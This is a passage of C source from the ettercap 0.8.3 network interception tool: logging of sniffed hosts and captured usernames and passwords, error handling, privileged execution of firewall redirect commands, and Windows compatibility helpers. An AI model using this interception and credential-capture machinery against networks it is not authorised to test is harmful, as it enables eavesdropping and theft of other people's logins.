sizeof(struct timeval)); hp.tv.tv_sec = htonl(hp.tv.tv_sec); hp.tv.tv_usec = htonl(hp.tv.tv_usec); memcpy(&hp.L2_src, &po->L2.src, MEDIA_ADDR_LEN); memcpy(&hp.L2_dst, &po->L2.dst, MEDIA_ADDR_LEN); memcpy(&hp.L3_src, &po->L3.src, sizeof(struct ip_addr)); memcpy(&hp.L3_dst, &po->L3.dst, sizeof(struct ip_addr)); hp.L4_flags = po->L4.flags; hp.L4_proto = po->L4.proto; hp.L4_src = po->L4.src; hp.L4_dst = po->L4.dst; /* the length of the payload */ hp.len = htonl(po->DATA.disp_len); LOG_LOCK; if (fd->type == LOG_COMPRESSED) { c = gzwrite(fd->cfd, &hp, sizeof(hp)); ON_ERROR(c, -1, "%s", gzerror(fd->cfd, &zerr)); c = gzwrite(fd->cfd, po->DATA.disp_data, po->DATA.disp_len); ON_ERROR(c, -1, "%s", gzerror(fd->cfd, &zerr)); } else { c = write(fd->fd, &hp, sizeof(hp)); ON_ERROR(c, -1, "Can't write to logfile"); c = write(fd->fd, po->DATA.disp_data, po->DATA.disp_len); ON_ERROR(c, -1, "Can't write to logfile"); } LOG_UNLOCK; } /* * log passive information * * hi is the source * hid is the dest, used to log password. * since they must be associated to the * server and not to the client. * so we create a new entry in the logfile */ void log_write_info(struct log_fd *fd, struct packet_object *po) { struct log_header_info hi; struct log_header_info hid; int c, zerr; memset(&hi, 0, sizeof(struct log_header_info)); memset(&hid, 0, sizeof(struct log_header_info)); /* the mac address */ memcpy(&hi.L2_addr, &po->L2.src, MEDIA_ADDR_LEN); memcpy(&hid.L2_addr, &po->L2.dst, MEDIA_ADDR_LEN); /* the ip address */ memcpy(&hi.L3_addr, &po->L3.src, sizeof(struct ip_addr)); /* the account must be associated with the server, so use dst */ memcpy(&hid.L3_addr, &po->L3.dst, sizeof(struct ip_addr)); /* the protocol */ hi.L4_proto = po->L4.proto; hid.L4_proto = po->L4.proto; /* open on the source ? */ if (is_open_port(po->L4.proto, po->L4.src, po->L4.flags)) hi.L4_addr = po->L4.src; else if (po->DISSECTOR.banner) hi.L4_addr = po->L4.src; else hi.L4_addr = 0; /* open on the dest ? */ if (is_open_port(po->L4.proto, po->L4.dst, po->L4.flags)) hid.L4_addr = po->L4.dst; else if (po->DISSECTOR.user) hid.L4_addr = po->L4.dst; else hid.L4_addr = 0; /* * resolves the ip address. * * even if the resolv option was not specified, * the cache may have the dns answer passively sniffed. */ host_iptoa(&po->L3.src, hi.hostname); host_iptoa(&po->L3.dst, hid.hostname); /* * distance in hop : * * the distance is calculated as the difference between the * predicted initial ttl number and the current ttl value. */ hi.distance = TTL_PREDICTOR(po->L3.ttl) - po->L3.ttl + 1; /* our machine is at distance 0 (special case) */ if (!ip_addr_cmp(&po->L3.src, &EC_GBL_IFACE->ip)) hi.distance = 0; /* OS identification */ memcpy(&hi.fingerprint, po->PASSIVE.fingerprint, FINGER_LEN); /* local, non local ecc ecc */ hi.type = po->PASSIVE.flags; /* calculate if the dest is local or not */ switch (ip_addr_is_local(&po->L3.dst, NULL)) { case E_SUCCESS: hid.type |= FP_HOST_LOCAL; break; case -E_NOTFOUND: hid.type |= FP_HOST_NONLOCAL; break; case -E_INVALID: hid.type = FP_UNKNOWN; break; } /* set account information */ hid.failed = po->DISSECTOR.failed; memcpy(&hid.client, &po->L3.src, sizeof(struct ip_addr)); /* set the length of the fields */ if (po->DISSECTOR.user) hid.var.user_len = htons(strlen(po->DISSECTOR.user)); if (po->DISSECTOR.pass) hid.var.pass_len = htons(strlen(po->DISSECTOR.pass)); if (po->DISSECTOR.info) hid.var.info_len = htons(strlen(po->DISSECTOR.info)); if (po->DISSECTOR.banner) hi.var.banner_len = htons(strlen(po->DISSECTOR.banner)); /* check if the packet is interesting... else return */ if (hi.L4_addr == 0 && // the port is not open !strcmp((char*)hi.fingerprint, "") && // no fingerprint hid.var.user_len == 0 && // no user and pass infos... hid.var.pass_len == 0 && hid.var.info_len == 0 && hi.var.banner_len == 0 ) { return; } LOG_LOCK; if (fd->type == LOG_COMPRESSED) { c = gzwrite(fd->cfd, &hi, sizeof(hi)); ON_ERROR(c, -1, "%s", gzerror(fd->cfd, &zerr)); /* and now write the variable fields */ if (po->DISSECTOR.banner) { c = gzwrite(fd->cfd, po->DISSECTOR.banner, strlen(po->DISSECTOR.banner) ); ON_ERROR(c, -1, "%s", gzerror(fd->cfd, &zerr)); } } else { c = write(fd->fd, &hi, sizeof(hi)); ON_ERROR(c, -1, "Can't write to logfile"); if (po->DISSECTOR.banner) { c = write(fd->fd, po->DISSECTOR.banner, strlen(po->DISSECTOR.banner) ); ON_ERROR(c, -1, "Can't write to logfile"); } } /* write hid only if there is user and pass infos */ if (hid.var.user_len == 0 && hid.var.pass_len == 0 && hid.var.info_len == 0 ) { LOG_UNLOCK; return; } if (fd->type == LOG_COMPRESSED) { c = gzwrite(fd->cfd, &hid, sizeof(hi)); ON_ERROR(c, -1, "%s", gzerror(fd->cfd, &zerr)); /* and now write the variable fields */ if (po->DISSECTOR.user) { c = gzwrite(fd->cfd, po->DISSECTOR.user, strlen(po->DISSECTOR.user) ); ON_ERROR(c, -1, "%s", gzerror(fd->cfd, &zerr)); } if (po->DISSECTOR.pass) { c = gzwrite(fd->cfd, po->DISSECTOR.pass, strlen(po->DISSECTOR.pass) ); ON_ERROR(c, -1, "%s", gzerror(fd->cfd, &zerr)); } if (po->DISSECTOR.info) { c = gzwrite(fd->cfd, po->DISSECTOR.info, strlen(po->DISSECTOR.info) ); ON_ERROR(c, -1, "%s", gzerror(fd->cfd, &zerr)); } } else { c = write(fd->fd, &hid, sizeof(hi)); ON_ERROR(c, -1, "Can't write to logfile"); if (po->DISSECTOR.user) { c = write(fd->fd, po->DISSECTOR.user, strlen(po->DISSECTOR.user) ); ON_ERROR(c, -1, "Can't write to logfile"); } if (po->DISSECTOR.pass) { c = write(fd->fd, po->DISSECTOR.pass, strlen(po->DISSECTOR.pass) ); ON_ERROR(c, -1, "Can't write to logfile"); } if (po->DISSECTOR.info) { c = write(fd->fd, po->DISSECTOR.info, strlen(po->DISSECTOR.info) ); ON_ERROR(c, -1, "Can't write to logfile"); } } LOG_UNLOCK; } /* * log hosts through ARP and ICMP discovery */ void log_write_info_arp_icmp(struct log_fd *fd, struct packet_object *po) { struct log_header_info hi; int c, zerr; memset(&hi, 0, sizeof(struct log_header_info)); /* the mac address */ memcpy(&hi.L2_addr, &po->L2.src, MEDIA_ADDR_LEN); /* the ip address */ memcpy(&hi.L3_addr, &po->L3.src, sizeof(struct ip_addr)); /* set the distance */ if (po->L3.ttl > 1) hi.distance = TTL_PREDICTOR(po->L3.ttl) - po->L3.ttl + 1; else hi.distance = po->L3.ttl; /* resolve the host */ host_iptoa(&po->L3.src, hi.hostname); /* local, non local ecc ecc */ if (po->L3.proto == htons(LL_TYPE_ARP)) { hi.type |= LOG_ARP_HOST; hi.type |= FP_HOST_LOCAL; } else { hi.type = po->PASSIVE.flags; } LOG_LOCK; if (fd->type == LOG_COMPRESSED) { c = gzwrite(fd->cfd, &hi, sizeof(hi)); ON_ERROR(c, -1, "%s", gzerror(fd->cfd, &zerr)); } else { c = write(fd->fd, &hi, sizeof(hi)); ON_ERROR(c, -1, "Can't write to logfile"); } LOG_UNLOCK; } /* * open/close the file to store all the USER_MSG */ int set_msg_loglevel(int level, char *filename) { switch (level) { case LOG_TRUE: /* close the filedesc if already opened */ set_msg_loglevel(LOG_FALSE, filename); EC_GBL_OPTIONS->msg_fd = fopen(filename, FOPEN_WRITE_TEXT); if (EC_GBL_OPTIONS->msg_fd == NULL) FATAL_MSG("Cannot open \"%s\" for writing", filename); break; case LOG_FALSE: /* close the file and set the pointer to NULL */ if (EC_GBL_OPTIONS->msg_fd) { fclose(EC_GBL_OPTIONS->msg_fd); EC_GBL_OPTIONS->msg_fd = NULL; } break; } return E_SUCCESS; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_error.c0000644000175000017500000000617013505247364015733 0ustar koeppeakoeppea/* ettercap -- error handling module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #define ERROR_MSG_LEN 200 void fatal_error_msg(char *message, ...); /*******************************************/ /* * raise an error */ void error_msg(char *file, const char *function, int line, char *message, ...) { va_list ap; char errmsg[ERROR_MSG_LEN + 1]; /* should be enough */ int err_code; #ifdef OS_WINDOWS err_code = GetLastError(); /* Most likely not a libc error */ if (err_code == 0) err_code = errno; #else err_code = errno; #endif va_start(ap, message); vsnprintf(errmsg, ERROR_MSG_LEN, message, ap); va_end(ap); DEBUG_MSG("ERROR : %d, %s\n[%s:%s:%d] %s \n", err_code, strerror(err_code), file, function, line, errmsg ); /* close the interface and display the error */ ui_cleanup(); fprintf(stderr, "ERROR : %d, %s\n[%s:%s:%d]\n\n %s \n\n", err_code, strerror(err_code), file, function, line, errmsg ); clean_exit(-err_code); } /* * print a warning message (no exit) */ void warn_msg(char *file, const char *function, int line, char *message, ...) { va_list ap; char warnmsg[ERROR_MSG_LEN + 1]; va_start(ap, message); vsnprintf(warnmsg, ERROR_MSG_LEN, message, ap); va_end(ap); DEBUG_MSG("WARNING: [%s:%s:%d] %s \n", file, function, line, warnmsg); fprintf(stdout, "WARNING: [%s:%s:%d]\n\n %s \n\n", file, function, line, warnmsg); } /* * raise a fatal error */ void fatal_error(char *message, ...) { va_list ap; char errmsg[ERROR_MSG_LEN + 1]; /* should be enough */ va_start(ap, message); vsnprintf(errmsg, ERROR_MSG_LEN, message, ap); va_end(ap); /* if debug was initialized... */ #ifdef DEBUG if (debug_file != NULL) DEBUG_MSG("FATAL: %s", errmsg); #endif /* invoke the ui method */ ui_fatal_error(errmsg); /* the ui should exits, but to be sure... */ clean_exit(-1); } /* * used in sanity check * it represent a BUG in the software */ void bug(char *file, const char *function, int line, char *message) { DEBUG_MSG("BUG : [%s:%s:%d] %s \n", file, function, line, message ); /* close the interface and display the error */ ui_cleanup(); fprintf(stderr, "\n\nBUG at [%s:%s:%d]\n\n %s \n\n", file, function, line, message ); clean_exit(-666); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_redirect.c0000644000175000017500000002633113505247364016404 0ustar koeppeakoeppea/* ettercap -- manage traffic redirect Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #ifndef OS_WINDOWS #include #endif #if defined(OS_DARWIN) || defined(OS_BSD) #define IPFW_SET "20" #define IPV4_ANY "any" #define IPV6_ANY "any" #else #define IPV4_ANY "0.0.0.0/0" #define IPV6_ANY "::/0" #endif /* proto */ static int set_redir_command(ec_redir_proto_t proto, char *commands[]); static void register_redir_service(char *name, u_int16 from_port, u_int16 to_port); /* globals */ static LIST_HEAD (, redir_entry) redirect_entries; static SLIST_HEAD (, serv_entry) redirect_services; enum { EC_REDIR_COMMAND_INSERT, EC_REDIR_COMMAND_REMOVE }; /* * execute the script to add or remove the redirection */ int ec_redirect(ec_redir_act_t action, char *name, ec_redir_proto_t proto, const char *source, const char *destination, u_int16 sport, u_int16 dport) { char asc_sport[16]; char asc_dport[16]; char asc_source[MAX_ASCII_ADDR_LEN]; char asc_destination[MAX_ASCII_ADDR_LEN]; int ret_val = 0; char *param[4]; char *commands[2] = {NULL, NULL}; char *command = NULL; struct redir_entry *re, *tmp; /* undefined defaults to any */ switch (proto) { case EC_REDIR_PROTO_IPV4: if (source == NULL || !strcmp(source, "0.0.0.0/0")) source = IPV4_ANY; if (destination == NULL || !strcmp(destination, "0.0.0.0/0")) destination = IPV4_ANY; break; case EC_REDIR_PROTO_IPV6: if (source == NULL || !strcmp(source, "::/0")) source = IPV6_ANY; if (destination == NULL || !strcmp(destination, "::/0")) destination = IPV6_ANY; break; default: DEBUG_MSG("ec_redirect(): invalid address family given"); return -E_INVALID; } DEBUG_MSG("ec_redirect(\"%s\", \"%s\", %s, %s, %s, %d, %d)", (action == EC_REDIR_ACTION_INSERT ? "insert" : "remove"), name, (proto == EC_REDIR_PROTO_IPV4 ? "IPv4" : "IPv6"), source, destination, sport, dport); /* check and set redirects commands from etter.conf */ set_redir_command(proto, commands); /* insert or remove commands */ switch (action) { case EC_REDIR_ACTION_INSERT: /* check if entry is already present */ LIST_FOREACH_SAFE(re, &redirect_entries, next, tmp) { if (proto == re->proto && !strcmp(source, re->source) && !strcmp(destination, re->destination) && sport == re->from_port && dport == re->to_port) { DEBUG_MSG("ec_redirect(): redirect entry already present"); return -E_INVALID; } } command = commands[EC_REDIR_COMMAND_INSERT]; break; case EC_REDIR_ACTION_REMOVE: /* check if entry is still present */ LIST_FOREACH_SAFE(re, &redirect_entries, next, tmp) { if (proto == re->proto && !strcmp(source, re->source) && !strcmp(destination, re->destination) && sport == re->from_port && dport == re->to_port) { /* entry present - ready to be removed */ command = commands[EC_REDIR_COMMAND_REMOVE]; break; } } if (command == NULL) { DEBUG_MSG("ec_redirect(): redirect entry not present anymore"); return -E_INVALID; } break; default: DEBUG_MSG("ec_redirect(): no valid action defined - aborting!"); return -E_FATAL; } /* ready to complete redirect commands */ snprintf(asc_source, MAX_ASCII_ADDR_LEN, "%s", source); snprintf(asc_destination, MAX_ASCII_ADDR_LEN, "%s", destination); snprintf(asc_sport, 16, "%u", sport); snprintf(asc_dport, 16, "%u", dport); /* make the substitutions in the script */ str_replace(&command, "%iface", EC_GBL_OPTIONS->iface); str_replace(&command, "%source", asc_source); str_replace(&command, "%destination", asc_destination); str_replace(&command, "%port", asc_sport); str_replace(&command, "%rport", asc_dport); #if defined(OS_DARWIN) || defined(OS_BSD) str_replace(&command, "%set", IPFW_SET); #endif DEBUG_MSG("ec_redirect(): execute [%s]", command); /* construct the params array for execvp */ param[0] = "sh"; param[1] = "-c"; param[2] = command; param[3] = NULL; /* execute the script */ switch (fork()) { case 0: regain_privs(); execvp(param[0], param); drop_privs(); WARN_MSG("Cannot setup redirect (command: %s), please edit your " "etter.conf file and put a valid value in redir_command_on" "|redir_command_off field\n", param[0]); SAFE_FREE(command); _exit(-E_INVALID); case -1: SAFE_FREE(command); return -E_INVALID; default: wait(&ret_val); if (WIFEXITED(ret_val) && WEXITSTATUS(ret_val)) { DEBUG_MSG("ec_redirect(): child exited with non-zero return " "code: %d", WEXITSTATUS(ret_val)); USER_MSG("ec_redirect(): redir_command_on had non-zero exit " "status (%d): [%s]\n", WEXITSTATUS(ret_val), command); SAFE_FREE(command); return -E_INVALID; } else { /* redirect command exited normally */ /* register entry */ switch (action) { case EC_REDIR_ACTION_INSERT: SAFE_CALLOC(re, 1, sizeof(struct redir_entry)); re->name = strdup(name); re->proto = proto; re->source = strdup(source); re->destination = strdup(destination); re->from_port = sport; re->to_port = dport; LIST_INSERT_HEAD(&redirect_entries, re, next); register_redir_service(name, sport, dport); break; case EC_REDIR_ACTION_REMOVE: /* remove entry from list */ LIST_FOREACH_SAFE(re, &redirect_entries, next, tmp) { if (re->proto == proto && !strcmp(re->source, source) && !strcmp(re->destination, destination) && sport == re->from_port && dport == re->to_port) { LIST_REMOVE(re, next); SAFE_FREE(re->name); SAFE_FREE(re->source); SAFE_FREE(re->destination); SAFE_FREE(re); } } break; default: break; } } } SAFE_FREE(command); return E_SUCCESS; } /* check and set redirect commands from etter.conf */ static int set_redir_command(ec_redir_proto_t proto, char *commands[]) { switch (proto) { case EC_REDIR_PROTO_IPV4: /* the script is not defined */ if (EC_GBL_CONF->redir_command_on == NULL) { USER_MSG("set_redir_commands(): cannot setup the redirect, did " "you uncomment the redir_command_on command on your " "etter.conf file?\n"); return -E_FATAL; } commands[EC_REDIR_COMMAND_INSERT] = strdup(EC_GBL_CONF->redir_command_on); /* the script is not defined */ if (EC_GBL_CONF->redir_command_off == NULL) { USER_MSG("set_redir_commands(): cannot remove the redirect, did " "you uncomment the redir_command_off command on your " "etter.conf file?\n"); return -E_FATAL; } commands[EC_REDIR_COMMAND_REMOVE] = strdup(EC_GBL_CONF->redir_command_off); break; #ifdef WITH_IPV6 case EC_REDIR_PROTO_IPV6: /* IPv6 redirect script is optional */ if (EC_GBL_CONF->redir6_command_on == NULL) { USER_MSG("set_redir_commands(): cannot setup the redirect for " "IPv6, did you uncomment the redir6_command_on command on " "your etter.conf file?\n"); return -E_FATAL; } commands[EC_REDIR_COMMAND_INSERT] = strdup(EC_GBL_CONF->redir6_command_on); if (EC_GBL_CONF->redir6_command_off == NULL) { USER_MSG("set_redir_commands(): cannot remove the redirect for " "IPv6, did you uncommend the redir6_command_off command in " "your etter.conf file?\n"); return -E_FATAL; } commands[EC_REDIR_COMMAND_REMOVE] = strdup(EC_GBL_CONF->redir6_command_off); break; #endif default: return -E_INVALID; } return E_SUCCESS; } /* * compile the list of registered redirects */ int ec_walk_redirects(void (*func)(struct redir_entry*)) { struct redir_entry *re, *tmp; int i = 0; DEBUG_MSG("ec_walk_redirects()"); LIST_FOREACH_SAFE(re, &redirect_entries, next, tmp) { func(re); i++; } return i ? i : -E_NOTFOUND; } /* * remove all registered redirects */ void ec_redirect_cleanup(void) { struct redir_entry *re, *tmp; struct serv_entry *se, *stmp; DEBUG_MSG("ec_redirect_cleanup()"); LIST_FOREACH_SAFE(re, &redirect_entries, next, tmp) ec_redirect(EC_REDIR_ACTION_REMOVE, re->name, re->proto, re->source, re->destination, re->from_port, re->to_port); SLIST_FOREACH_SAFE(se, &redirect_services, next, stmp) { SAFE_FREE(se->name); SAFE_FREE(se); } } /* * store redirect services in a unique list */ static void register_redir_service(char *name, u_int16 from_port, u_int16 to_port) { struct serv_entry *se; DEBUG_MSG("register_redir_service(%s)", name); /* avoid duplicates */ SLIST_FOREACH(se, &redirect_services, next) if (se->from_port == from_port && se->to_port == to_port) return; SAFE_CALLOC(se, 1, sizeof(struct serv_entry)); se->name = strdup(name); se->from_port = from_port; se->to_port = to_port; SLIST_INSERT_HEAD(&redirect_services, se, next); } /* * compile the list of redirectable services */ int ec_walk_redirect_services(void (*func)(struct serv_entry*)) { struct serv_entry *se, *tmp; int i = 0; DEBUG_MSG("ec_walk_redirect_services()"); SLIST_FOREACH_SAFE(se, &redirect_services, next, tmp) { func(se); i++; } return i ? i : -E_NOTFOUND; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/os/0000755000175000017500000000000013505247364014404 5ustar koeppeakoeppeaettercap-0.8.3/src/os/ec_mingw.c0000644000175000017500000006722013505247364016347 0ustar koeppeakoeppea/* ettercap -- mingw specific functions This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. Various functions needed for native Windows compilers (not CygWin I guess??) We export these (for the plugins) with a "ec_win_" prefix in order not to accidentally link with other symbols in some foreign lib. Copyright (C) G. Vanem 2003 */ #include #include #include #include #include #include #include #include #ifndef WPCAP #define WPCAP /* makes include */ #endif #include #include #include HANDLE pcap_getevent(pcap_t *p); #if defined(HAVE_NCURSES) && !defined(BUILDING_UTILS) #include #include extern bool trace_on; /* From */ extern int PDC_check_bios_key (void); extern void PDC_debug (char*, ...); #endif #ifndef __inline #define __inline #endif /* Most of this is *not* MingW specific, but Ettercap requires gcc */ #ifndef __GNUC__ #error "You must be joking" #endif #ifndef ATTACH_PARENT_PROCESS #define ATTACH_PARENT_PROCESS ((DWORD)-1) #endif static void setup_console(void); static void pdc_ncurses_init(void); static void __attribute__((destructor)) exit_console (void); static BOOL has_console; static BOOL started_from_a_gui; static BOOL attached_to_console; /***************************************/ static void __init win_init(void) { /* Dr MingW JIT */ LoadLibrary ("exchndl.dll"); setup_console(); pdc_ncurses_init(); } /* * Ask NDIS for the device MTU */ #ifndef OID_GEN_MAXIMUM_TOTAL_SIZE #define OID_GEN_MAXIMUM_TOTAL_SIZE 0x00010111 #endif static BOOL get_interface_mtu (ADAPTER *adapter, DWORD *mtu) { struct { PACKET_OID_DATA oidData; DWORD mtu; } oid; memset (&oid, 0, sizeof(oid)); oid.oidData.Oid = OID_GEN_MAXIMUM_TOTAL_SIZE; oid.oidData.Length = sizeof(oid); if (!PacketRequest(adapter, FALSE, &oid.oidData)) return (FALSE); *mtu = *(DWORD*) &oid.oidData.Data; return (TRUE); } u_int16 get_iface_mtu(const char *iface) { if (iface) { ADAPTER *adapter; DWORD mtu = 0; adapter = PacketOpenAdapter ((PCHAR)iface); if (adapter) { BOOL rc = get_interface_mtu (adapter, &mtu); DEBUG_MSG("get_interface_mtu(): mtu %lu, %s", mtu, rc ? "okay" : "failed"); PacketCloseAdapter (adapter); if (rc & mtu) return (mtu); } else DEBUG_MSG("get_interface_mtu(): failed to open iface \"%s\"; %s", iface, ec_win_strerror(GetLastError())); } return (1514); /* Assume ethernet */ } void disable_ip_forward(void) { DEBUG_MSG ("disable_ip_forward (no-op)\n"); } void restore_ip_forward(void) { DEBUG_MSG ("restore_ip_forward (no-op)\n"); } #ifdef WITH_IPV6 void disable_ipv6_forward(void) { DEBUG_MSG ("disable_ipv6_forward (no-op)\n"); } void restore_ipv6_forward(void) { DEBUG_MSG ("restore_ipv6_forward (no-op)\n"); } #endif /* * Get and set the read-event associated with the pcap handle. This * causes pcap_loop() to terminate (ReadFile hopefully returns 0). * Note: this function is called outside the capture thread, so take * care not to modify the pcap_handle in any way. */ int ec_win_pcap_stop (const void *pcap_handle) { static CRITICAL_SECTION crit; HANDLE hnd = pcap_getevent ((pcap_t*)pcap_handle); BOOL rc; DWORD err; DEBUG_MSG("%s: signalling pcap to stop...", __FUNCTION__); if (!hnd) { DEBUG_MSG("no event-handle!?\n"); return (0); } InitializeCriticalSection (&crit); EnterCriticalSection (&crit); rc = SetEvent (hnd); err = !rc ? GetLastError() : 0UL; LeaveCriticalSection (&crit); DEBUG_MSG("rc %d, %s\n", rc, ec_win_strerror(err)); return (1); } /* * No fork() in Windows, just beep */ void set_daemon_interface (void) { _putch ('\a'); } int ec_win_gettimeofday (struct timeval *tv, struct timezone *tz) { struct _timeb tb; if (!tv && !tz) { errno = EINVAL; return (-1); } _ftime (&tb); if (tv) { tv->tv_sec = tb.time; tv->tv_usec = MILLI2MICRO(tb.millitm); } if (tz) { tz->tz_minuteswest = tb.timezone; tz->tz_dsttime = tb.dstflag; } return (0); } /* * Use PDcurses' keyboard checker if it's initialised. */ static int __inline win_kbhit (void) { #if defined(HAVE_NCURSES) && !defined(BUILDING_UTILS) if ((current_screen.flags & WDG_SCR_INITIALIZED)) return PDC_check_bios_key(); #endif return _kbhit(); } /* * A poll() using select() */ int ec_win_poll (struct pollfd *p, int num, int timeout) { struct timeval tv; int i, n, ret, num_fd = (num + sizeof(fd_set)-1) / sizeof(fd_set); fd_set read [num_fd]; fd_set write [num_fd]; fd_set excpt [num_fd]; FD_ZERO (&read); FD_ZERO (&write); FD_ZERO (&excpt); n = -1; for (i = 0; i < num; i++) { if (p[i].fd < 0) continue; if ((p[i].events & POLLIN) && i != STDIN_FILENO) FD_SET (p[i].fd, &read[0]); if ((p[i].events & POLLOUT) && i != STDOUT_FILENO) FD_SET (p[i].fd, &write[0]); if (p[i].events & POLLERR) FD_SET (p[i].fd, &excpt[0]); if (p[i].fd > n) n = p[i].fd; } if (n == -1) return (0); if (timeout < 0) ret = select (n+1, &read[0], &write[0], &excpt[0], NULL); else { tv.tv_sec = MILLI2SEC(timeout); tv.tv_usec = MILLI2MICRO((timeout % 1000)); ret = select (n+1, &read[0], &write[0], &excpt[0], &tv); } for (i = 0; ret >= 0 && i < num; i++) { p[i].revents = 0; if (FD_ISSET (p[i].fd, &read[0])) p[i].revents |= POLLIN; if (FD_ISSET (p[i].fd, &write[0])) p[i].revents |= POLLOUT; if (FD_ISSET (p[i].fd, &excpt[0])) p[i].revents |= POLLERR; } if ((p[STDIN_FILENO].events & POLLIN) && num >= STDIN_FILENO && win_kbhit()) { p [STDIN_FILENO].revents = POLLIN; ret++; } if ((p[STDOUT_FILENO].events & POLLOUT) && num >= STDOUT_FILENO && isatty(STDOUT_FILENO) >= 0) { p [STDOUT_FILENO].revents = POLLOUT; ret++; } return (ret); } /* * For consistent and nice looks, replace '\\' with '/'. * Replace trailing '//' with '/'. * All (?) Windows core functions and libc handles this fine. */ static char *slashify (char *path) { char *p; for (p = strchr(path,'\\'); p && *p; p = strchr(p,'\\')) *p++ = '/'; if (p >= path+2 && *p == '\0' && p[-1] == '/' && p[-2] == '/') *(--p) = '\0'; return (path); } /* * Return current user's home directory. Try: * - %HOME% * - %APPDATA% * - %USERPROFILE%\\Application Data * - else EC's dir. * * Not used yet. */ const char *ec_win_get_user_dir (void) { static char path[PATH_MAX] = ""; char *home; if (path[0]) return (path); home = getenv ("HOME"); if (home) strncpy (path, home, sizeof(path)-1); else { home = getenv ("APPDATA"); /* Win-9x/ME */ if (home) strncpy (path, home, sizeof(path)-1); else { home = getenv ("USERPROFILE"); /* Win-2K/XP */ if (home) snprintf (path, sizeof(path)-1, "%s\\Application Data", home); else strncpy (path, ec_win_get_ec_dir(), sizeof(path)-1); } } path [sizeof(path)-1] = '\0'; return slashify (path); } /* * Return directory of running program. */ const char *ec_win_get_ec_dir (void) { static char path[PATH_MAX] = "c:\\"; char *slash; if (GetModuleFileName(NULL,path,sizeof(path)) && (slash = strrchr(path,'\\')) != NULL) *slash = '\0'; return slashify (path); } /* * Return name of a signal */ const char *ec_win_strsignal (int signo) { static char buf [20]; switch (signo) { case 0: return ("None"); #ifdef SIGINT case SIGINT: return ("SIGINT"); #endif #ifdef SIGABRT case SIGABRT: return ("SIGABRT"); #endif #ifdef SIGFPE case SIGFPE: return ("SIGFPE"); #endif #ifdef SIGILL case SIGILL: return ("SIGILL"); #endif #ifdef SIGSEGV case SIGSEGV: return ("SIGSEGV"); #endif #ifdef SIGTERM case SIGTERM: return ("SIGTERM"); #endif #ifdef SIGALRM case SIGALRM: return ("SIGALRM"); #endif #ifdef SIGHUP case SIGHUP: return ("SIGHUP"); #endif #ifdef SIGKILL case SIGKILL: return ("SIGKILL"); #endif #ifdef SIGPIPE case SIGPIPE: return ("SIGPIPE"); #endif #ifdef SIGQUIT case SIGQUIT: return ("SIGQUIT"); #endif #ifdef SIGUSR1 case SIGUSR1: return ("SIGUSR1"); #endif #ifdef SIGUSR2 case SIGUSR2: return ("SIGUSR2"); #endif #ifdef SIGUSR3 case SIGUSR3: return ("SIGUSR3"); #endif #ifdef SIGNOFP case SIGNOFP: return ("SIGNOFP"); #endif #ifdef SIGTRAP case SIGTRAP: return ("SIGTRAP"); #endif #ifdef SIGTIMR case SIGTIMR: return ("SIGTIMR"); #endif #ifdef SIGPROF case SIGPROF: return ("SIGPROF"); #endif #ifdef SIGSTAK case SIGSTAK: return ("SIGSTAK"); #endif #ifdef SIGBRK case SIGBRK: return ("SIGBRK"); #endif #ifdef SIGBUS case SIGBUS: return ("SIGBUS"); #endif #ifdef SIGIOT case SIGIOT: return ("SIGIOT"); #endif #ifdef SIGEMT case SIGEMT: return ("SIGEMT"); #endif #ifdef SIGSYS case SIGSYS: return ("SIGSYS"); #endif #ifdef SIGCHLD case SIGCHLD: return ("SIGCHLD"); #endif #ifdef SIGPWR case SIGPWR: return ("SIGPWR"); #endif #ifdef SIGWINCH case SIGWINCH: return ("SIGWINCH"); #endif #ifdef SIGPOLL case SIGPOLL: return ("SIGPOLL"); #endif #ifdef SIGCONT case SIGCONT: return ("SIGCONT"); #endif #ifdef SIGSTOP case SIGSTOP: return ("SIGSTOP"); #endif #ifdef SIGTSTP case SIGTSTP: return ("SIGTSTP"); #endif #ifdef SIGTTIN case SIGTTIN: return ("SIGTTIN"); #endif #ifdef SIGTTOU case SIGTTOU: return ("SIGTTOU"); #endif #ifdef SIGURG case SIGURG: return ("SIGURG"); #endif #ifdef SIGLOST case SIGLOST: return ("SIGLOST"); #endif #ifdef SIGDIL case SIGDIL: return ("SIGDIL"); #endif #ifdef SIGXCPU case SIGXCPU: return ("SIGXCPU"); #endif #ifdef SIGXFSZ case SIGXFSZ: return ("SIGXFSZ"); #endif } strncpy (buf, "Unknown ", 9); itoa (signo, buf+8, 10); return (buf); } /* * Unix process related stuff */ int ec_win_fork(void) { USER_MSG("fork() not yet supported\n"); errno = ENOSYS; return -1; } int ec_win_wait (int *status) { USER_MSG("wait() not yet supported\n"); errno = ENOSYS; (void) status; return -1; } /* * BIND resolver stuff: * * Expand compressed domain name 'comp_dn' to full domain name. * 'msg' is a pointer to the begining of the message, * 'eom_orig' points to the first location after the message, * 'exp_dn' is a pointer to a buffer of size 'length' for the result. * Return size of compressed name or -1 if there was an error. */ #ifndef INDIR_MASK #define INDIR_MASK 0xc0 #endif #ifndef MAXLABEL #define MAXLABEL 63 /* maximum length of 